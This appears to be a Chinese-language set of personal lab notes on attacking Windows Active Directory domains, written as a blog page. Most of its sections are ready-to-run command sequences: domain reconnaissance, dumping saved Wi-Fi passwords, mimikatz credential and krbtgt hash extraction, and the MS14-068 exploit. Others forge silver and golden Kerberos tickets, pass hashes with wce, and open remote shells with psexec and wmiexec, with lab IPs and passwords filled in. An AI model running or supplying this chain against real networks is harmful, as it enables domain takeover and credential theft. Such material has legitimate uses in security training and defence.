域内渗透

文章目录

  • 文件查找
    • 使用`for`循环查找文件
  • 域相关知识
    • 域控制器需要开启的端口
    • `NTDS.DIT`
    • LDAP
      • 关于LDAP的一些重要的基本概念
    • 本地认证流程:
    • ADSI编辑器
      • RootDSE
    • 组策略
  • 域内信息搜集
    • 查看我们所攻占的主机是否是在域中
      • 借助系统命令
    • 搜取域成员计算机相关信息
      • 使用bat脚本从域控制器获取当前域中所有计算机IP并测试连通性
    • 查看无线网络连接信息
    • 网络代理信息WPAD
    • IIS 相关
    • Windows2003查看SECURITY日志 2019-1.14 上午1点-上午10点日志
    • Windows7以上查询所有登录、注销相关的日志语法
    • 回收站信息
    • dsquery
    • dsget的使用说明:
      • 获取用户的`sAMAccounttype`属性
    • 非域内用户访问域控制器查询域内相关信息
      • dsquery
      • ldifde/csvde
      • AdFind
    • AdFind
    • ldifde
    • csvde
  • 获取域用户的SID
  • 使用`mimikatz`获取域控权限
    • ms14-068
    • 白银票据
      • 白银票据伪造的注意事项
    • 黄金票据
      • 生成黄金票据
        • 使用krbtgt的NTLM hash值:
        • 使用krbtgt的aes256值:
      • 导入黄金票据
      • 结论
  • IPC 共享
    • 计划任务 `at` 以及 `schtasks`
    • psexec.exe
    • wmiexec.vbs
  • 哈希传递
    • 密码提取
      • InternalMonologue
    • `SMBMap`
    • wce

文件查找

使用for循环查找文件

参考:

https://blog.csdn.net/qq_29647709/article/details/81474552

命令:

for /r 目录名 %i in (匹配模式1,匹配模式2) do @echo %i 	

比如在当前目录及其子目录下查看所有的txt文件:

for /r . %i in (*.txt) do @echo %i

如果结果太多,可以使用>>输出到文件

for /r C:\windows %i in (*target) do @echo %i >> 1.txt 

注意在搜索目标前面加上通配符星号,不然会出现错误*

域相关知识

域控制器需要开启的端口

NTDS.DIT

C:\windows\NTDS\ntds.dit

名词解释:

NTDS stands for NT Directory Services
The DIT stands for Directory Information Tree. 

Ntds.dit文件位于DC,该文件中包含所有被该DC控制的主机的名称、配置以及数据表名称信息

官方文档中对AD中几个重要文件的介绍:

https://blogs.msdn.microsoft.com/servergeeks/2014/10/14/active-directory-files-and-their-functions/

如何获得域控的NTDS.dit文件

http://www.4hou.com/technology/10573.html

LDAP

轻量目录访问协议

在AD中使用LDAP名称路径来表示对象在AD数据库中的位置

关于LDAP的一些重要的基本概念

https://ldap.com/basic-ldap-concepts/
  • Directory Servers
    • 目录服务器存储数据的数据库并非关系型数据库,而是树状的
  • Entries
    • 一个LDAP的entry就代表一个实体的信息的集合,每一个entry由三个重要成分组成:
      • distinguished name
      • collection of attributes
      • collection of object classes
    • 下面对这三个重要成分进行详细说明
  • ** DN --> distinguished name** and RDN --> Relative distinguished name
    • 用于在DIT(directory information tree)中唯一标识一个entry的位置
      • DN之于LDAP就相当于路径之于文件系统
    • DN由0个或多个RDN组成,每个RDN由0个或者多个(通常是1个)属性-值对组成,比如:uid=john.doe如果RDN有多个键值对就按下面的表示方式:givenName=John+sn=Doe,使用+进行分割
    • 特殊的DN由0个RDN构成,这种DN表示一个特殊的entry,叫做root DSE,参考文档https://ldap.com/dit-and-the-ldap-root-dse/,该DN提供关于directory Server的内容和容量信息
    • 对于由多个RDN构成的DN,比如:uid=john.doe,ou=People,dc=example,dc=com,它有4RDN,每个RDN都代表一个层级,使用降序排列,越靠后的距离root最近,比如上面的uid=john.doe,ou=People,dc=example,dc=com,它的父一级DN应该是ou=People,dc=example,dc=com
  • Attributes
    • attribute拥有entry的数据,每个Attributes都有类型,0个或多个Attributes选项以及一个包含了值的集合构成实际的数据
    • 所有的Attributes类型都有一个OIDobject identifier
  • Object Class
    • 用于表示attribute的类型,每一个entry也有一个object class,用来表明它表示该entry是关于什么的信息(人、组、设备、服务等)

本地认证流程:

winlogon.exe -> 接收用户输入 -> lsass.exe -> (认证)

NTLM 认证过程:

  1. 客户端向服务器发送用户信息(例:用户名 user)请求
  2. 服务端接受请求,生成 16 位随机数 Challenge,用 user 对应的 NTLM Hash 加密 Challenge,生成 Challenge1,然后将 Challenge 发给客户端
  3. 客户端接收 Challenge,用 user 对应的 NTLM Hash 加密 Challenge 生成 Response 发给服务器端
  4. 服务端对比接收的 Response 和 Challenge1 相同,则认证成功

由上述过程可知认证过程中,只涉及到本地的用户名(user)和对应的 NTLM Hash,因此如果在知道用户名和对应的 NTLM Hash 而不知道明文密码时,也能完成 NTML 认证,即哈希传递

哈希传递的工具:

Smbmap、CrackMapExec(没安成)、Mimikatz 、MSF

这些工具的使用参见#哈希传递

ADSI编辑器

参考文档:

在该编辑器中,可以看到四项

RootDSE、默认命名上下文(就是当前电脑登录的域)、Configuration、Schema

RootDSE

https://docs.microsoft.com/zh-cn/windows/desktop/ADSchema/rootdse

其中RootDSE被定义成目录服务器的目录数据树的rootRootDSE不属于任何命名空间,它只是用来提供Directory Server相关的信息,它的属性值都是用于表示目录服务器相关信息的

组策略

https://blog.csdn.net/kamroselee/article/details/79359226

域内的策略会被应用到域中的所有计算机上

从上至下,优先级以次降低

  • 站点策略
  • 域策略
  • 组织单元策略

本地计算机策略只会应用到本地计算机上

  • 计算机配置只会应用在此计算机
  • 用户策略将应用到在此计算机登录的所有用户

域内信息搜集

查看我们所攻占的主机是否是在域中

借助系统命令

  • systeminfo

使用net time命令,如果在域中会显示出正确的信息,如果不在域中,会返回错误信息

net time /domain

正确结果:可以看到域控制器

如果不在域中,结果如下:

net view

net config workstation

搜取域成员计算机相关信息

net group /domain  获取所有域用户组列表
net group "domain admins" /domain  获取域管理员列表
net group "enterprise admins" /domain  获取企业管理员列表
net localgroup administrators /domain  获取域内置administrators组用户,包含enterprise admins与domain admins
net group "domain controllers" /domain  获取域控制器列表
net group "domain computers" /domain  获取所有域成员计算机列表
net user /domain  获取所有域用户列表
net user username /domain  获取指定账户的详细信息
net accounts /domain  获取域密码策略设置,密码长短,错误锁定等信息
nltest /domain_trusts  获取域信任信息

使用bat脚本从域控制器获取当前域中所有计算机IP并测试连通性

.\domain_computers.bat

查看无线网络连接信息

for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do  @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear 

网络代理信息WPAD

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" 

IIS 相关

cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root IIS6
appcmd.exe IIS7
%systemroot%/system32/inetsrv/appcmd.exe list site 列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir 列出网站物理路径

Windows2003查看SECURITY日志 2019-1.14 上午1点-上午10点日志

cscript c:\WINDOWS\system32\eventquery.vbs /fi "Datetime eq 06/24/2015,01:00:00AM-01/14/2019,10:00:00AM" /l Security /V 

Windows7以上查询所有登录、注销相关的日志语法

wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4627]" 	

回收站信息

FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ >> %c.txt

但是列出来的文件都已经不是原来的文件名了,下面这个脚本可以对文件名进行还原

需要在power shell中运行

$Recycler = (New-Object -ComObject Shell.Application).NameSpace(0xa);foreach($file in $Recycler.items()){$file.path;$file.ExtendedProperty("{9B174B33-40FF-11D2-A27E-00C04FC30871} 2")+'\'+$file.name;$file.Type} 

dsquery

参考文档:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc732952(v=ws.11)

dsquery computer - 查找目录中的计算机。
dsquery contact - 查找目录中的联系人。
dsquery subnet - 查找目录中的子网。
dsquery group - 查找目录中的组。
dsquery ou - 查找目录中的组织单位。
dsquery site - 查找目录中的站点。
dsquery server - 查找目录中的域控制器。
dsquery user - 查找目录中的用户。
dsquery quota - 查找目录中的配额。
dsquery partition - 查找目录中的分区。
dsquery * - 用通用的 LDAP 查询查找目录中的任何对象。

dsquery和dsget联合使用:

查询所有用户名以John开头的用户的办公室:

dsquery user -name John* | dsget user -office 

dsget的使用说明:

参考文档:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc755162(v=ws.10)

dsget computer - 显示目录中计算机的属性。
dsget contact - 显示目录中联系人的属性。
dsget subnet - 显示目录中子网的属性。
dsget group - 显示目录中组的属性。
dsget ou - 显示目录中组织单位的属性。
dsget server - 显示目录中服务器的属性。
dsget site - 显示目录中站点的属性。
dsget user - 显示目录中用户的属性。
dsget quota - 显示目录中配额的属性。
dsget partition - 显示目录中分区的属性。 

获取用户的sAMAccounttype属性

dnsquery中指定要查询用户的dn

dsquery * CN=777,CN=Users,DC=sayms,DC=com -attr sAMAccounttype

关于sAMAccounttype的文档https://docs.microsoft.com/zh-cn/windows/desktop/ADSchema/a-samaccounttype

类型、值对照表

SAM_DOMAIN_OBJECT 0x0
SAM_GROUP_OBJECT 0x10000000
SAM_NON_SECURITY_GROUP_OBJECT 0x10000001
SAM_ALIAS_OBJECT 0x20000000
SAM_NON_SECURITY_ALIAS_OBJECT 0x20000001
SAM_USER_OBJECT 0x30000000
SAM_NORMAL_USER_ACCOUNT 0x30000000
SAM_MACHINE_ACCOUNT 0x30000001
SAM_TRUST_ACCOUNT 0x30000002
SAM_APP_BASIC_GROUP 0x40000000
SAM_APP_QUERY_GROUP 0x40000001
SAM_ACCOUNT_TYPE_MAX 0x7fffffff

查询域中账户属性为用户的对象信息:

dsquery * forestroot -s 192.168.1.1 -u john -p Passw0rd! -filter "(sAMAccountType=805306368)" -attr sAMAccountName displayname description

上面的805306368其实就是sAMAccounttype的十六进制值0x30000000,输出sAMAccountName、displayname、description属性信息

非域内用户访问域控制器查询域内相关信息

dsquery

dsquery * forestroot -s 192.168.31.223 -u Administrator -p v201303036. -filter "(sAMAccountType=805306368)" -attr sAMAccountName displayname description

注意,我们指定forestroot的时候,后面的-s所指定的主机一定要是全局编录服务器,如果想要查找某个域中的信息,最后在前面指定准确的域

从这个地方可以查看到是不是全局编录服务器:

ldifde/csvde

ldifde/csvde -s 192.168.31.223 -b administrator sayms.com v201303036. -f output.txt

上面那条命令没有加任何过滤选项,所以输出的信息很多,实际过程中要使用ldap语法滤除我们不想要的信息

AdFind

使用-h选项指定主机

adfind -h 192.168.31.223 -u sayms\administrator -up v201303036. -default -f "(sAMAccountType=805306368)" sAMAccountName displayname lastlogon pwdLastSet mail homedirectory scriptpath

AdFind

顾名思义

下载地址:

https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

ftp://192.168.31.178:2121/swap/12138/%D3%F2%C9%F8%CD%B8%B9%A4%BE%DF/AdFind.zip

参考数据

https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx

参考文档上有一大堆命令

  • 查询域控制器版本
    • AdFind.exe -schema -s base objectversion

ldifde

用于导出域相关信息

参考文档:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc731033(v=ws.10)

mylab.com域中查找objectclassuser的使用-l选项指定的信息,并输出到C:\1.txt

Ldifde -d dc=mylab,dc=com -r (objectClass=User) -l distinguishedname,cn,givenname,sn,telephone -f C:\1.txt

实战中的应用,比如我们想获取krbtgt账户的SID,可使用以下命令:

Ldifde -d dc=mylab,dc=com -r cn=krbtgt -l distinguishedname,cn,givenname,sn,objectsid -f C:\3.txt`

用法示例:

Ldifde -d dc=sayms,dc=com -r (objectClass=User) -o whenCreated,objectGUID -f ldifde.txt

这条命令领的意思就是导出sayms.com域中的所有objectClass=User对象,并忽略whenCreated、objectGUID属性到.\ldfide.txt文件中

csvde

用法和上面的ldifde差不多,只是导出文件格式不同而已,不再赘述

comma-separated value (CSV) format

参考文档:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc732101(v=ws.10)

获取域用户的SID

  • whoami /user

  • adsiedit.msc

    • 以图形化的方式获取域用户SID
  • 回去所有用户的SID

    • wmic useraccount get name^,sid

使用mimikatz获取域控权限

已经获取windows7 x64管理员权限,域用户为普通用户,目标是拿到域控权限

使用管理员权限运行cmd,此时会要求输入管理员密码,我们使用本地管理员进行验证

然后运行mimikatz,执行命令privilege::debug,再执行sekurlsa:logonpasswords,可抓取到本机用户名、口令、sid、LM hash、NTLM hash

以管理员模式运行,使用改程序时需要提供域控制器的地址,这个我们可以使用前面的Adfind工具,运行如下命令AdFind.exe -schema -s base objectversion,可以得到域控制器的域名,ping一下就行了

C:\Users\win7641\Desktop>MS14-068.exe -u [email protected] -s S-1-5-21-445259381-1508218306-2986666393-1105 -d 192.168.31.136 -p xxxx
  • -u
    • 我们已经攻占的域成员的UPN
  • -s
    • 我们已经攻占的域成员的SID
  • -d
    • 域控制器的IP
  • -p
    • 我们已经攻占的域成员的password,由上面的mimikatz抓取

最后会当前目录生成一个[email protected]文件

ms14-068

keko中ms14-068的使用:工具位于当前目录

我们使用mimikatz导入该伪造的缓存,导入前先对之前的票据进行清理

mimikatz # kerberos::purge      //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc [email protected]         //将票据注入到内存中

我们可以使用klist命令查看当前计算机上保存的票据,该票据注入完成后你就获得了域管理员的权限

  • 这是我们在导入票据前匿名连接域控制器共享管道的结果:不允许匿名连接
  • 查看用户密码并进行票据的导入

白银票据

命令:

kerberos::golden /domain:mylab2.com /sid:S-1-5-21-262444492-3556097433-2181404141-1106 /target:4-lvx8xn9wkog7r.mylab2.com /service:cifs /rc4:d9e23cb21c898957d8f409745c3818fb /user:silver /ptt

详见:D:\phpStudy\PHPTutorial\WWW\html\html\安全\windows\域内渗透\域渗透之票据 - Wh0ale的博客 _ BY Blog.html

参考:

https://github.com/gentilkiwi/kekeo/wiki/ms14068

rc4后面的参数为目标服务器的NTLM,sid后面的参数为目标服务器的sid

mimiktaz一句话获取当前内存中的账号密码信息:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

白银票据伪造的注意事项

SID为目标的域SID,rc4为目标的NTLM

在测试的时候,windows7和windows10作为域中的成员主机都是正常伪造白银票据的,但是使用windows server 2003时去总是出现错误ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMessage : c000000d

经过我的一系列实验,域成员主机如果为windows xp或windows server 2003,是无法正常伪造黄金票据的

黄金票据

做了好长时间,还是没有提升到域管理员权限,下面我们直接在域控制器上获取krbtgt的哈希

使用mimikatz的sekurlsa::krbtgt模块,执行结果如下:

下面这条命令用于导出krbtgtNTLM Hash

mimikatz "lsadump::lsa /patch"

也可以使用这条命令:

mimikatz.exe "lsadump::dcsync /domain:test.local /user:krbtgt"

生成黄金票据

在指定sid选项的时候应该把最后的5xx去掉

使用krbtgt的NTLM hash值:

kerberos::golden /user:Administrator /domain:mylab2.com /sid:S-1-5-21-262444492-3556097433-2181404141-502 /krbtgt:165710dd13b75b00d1cb840516689eae /ticket:test.kribi
	/sid	域控制器sid,
	/krbtgt 上面得到的krbtgt的NTLM hash值
	最后生成一个kribi文件


我这个是在windows server 2003上测试的,因此只能用NTLM hash来生成黄金票据

SID结构:

例:S-1-5-21-310440588-250036847-580389505-500 

我们来先分析这个重要的SID。第一项S表示该字符串是SID;第二项是SID的版本号,对于2000来说,这个就是1;然后是标志符的颁发机构(identifier authority),对于2000内的帐户,颁发机构就是NT,值是5。然后表示一系列的子颁发机构,前面几项是标志域的,最后一个标志着域内的帐户和组

使用krbtgt的aes256值:

kerberos::golden /domain:xxx.xxx /sid:域控制器sid /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi

导入黄金票据

kerberos::ptt test.kribi

这时我们就已经拥有域管理员权限了,but。。。。。实际情况是:

还是不行

这里不行的原因,上面在介绍白银票据的时候也已经说过了,要使用NT5以上的操作系统

结论

一旦在我们控制的主机上使用了域控账户进行登陆,那么我们就可以直接抓取到域控制器的密码,只要这台电脑不关机,我们就能抓取到域管理员的明文密码

在实验中总是会出现的一个问题就是复制CMD窗口中的内容时会引起程序崩溃

IPC 共享

不知道为什么,我在做实验的时,一台主机开启了IPC共享,另一台主机上去登录时只能使用Administrator账户才好使,使用Administrators组中的其他用户却不好使

现在我把参加实验的WIN7WIN10都移到了WORKGROUP工作组,还是只能通过Administrator用户登录

使用123用户登陆访问结果:

计划任务 at 以及 schtasks

有一个实例

D:\html\安全\windows\LOLBAS.md#DUMP 进程内存##Procdump.exe	

psexec.exe

用法:

PsExec.exe \\192.168.31.254 -u administrator -p 123qwe! cmd

直接返回cmd shell

异常情况

PsExec.exe \\192.168.31.193 -u win764\administrator -p qwe123,./ cmd

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Could not start PSEXESVC service on 192.168.31.193:
拒绝访问。

在密码后面指定domain name 或者 computer name

这个程序在打开cmdshell之后会在对方的日志中留下记录

但是我在windows server 2003上进行实验的时候发现对方主机并没有产生event id7045的记录

wmiexec.vbs

参见D:\html\安全\windows\一次简单的内网文件窃取.md#wmicexec.vbs

用法:

  • 半交互式shell:

    cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password

  • 单条命令执行模式:

    cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password “command”

哈希传递

密码提取

InternalMonologue

https://github.com/eladshamir/Internal-Monologue

D:\w网络工具\域\密码是1InternalMonologue.zip

该密码提取工具可以直接提取出LM hashNTLM hash

SMBMap

https://github.com/ShawnDEvans/smbmap

D:\w网络工具\域\哈希传递\smbmap-master.zip

wce

wce除了传递哈希以外还可以抓取内存中的密码,直接执行,不加任何参数就行

传递哈希值如下:

-s Changes NTLM credentials of current logon session.
Parameters: :::.

传递完成之后,直接使用net use对远程主机的ipc$进行连接,然后再运行wmiexec即可获得shell

你可能感兴趣的:(安全,Windows)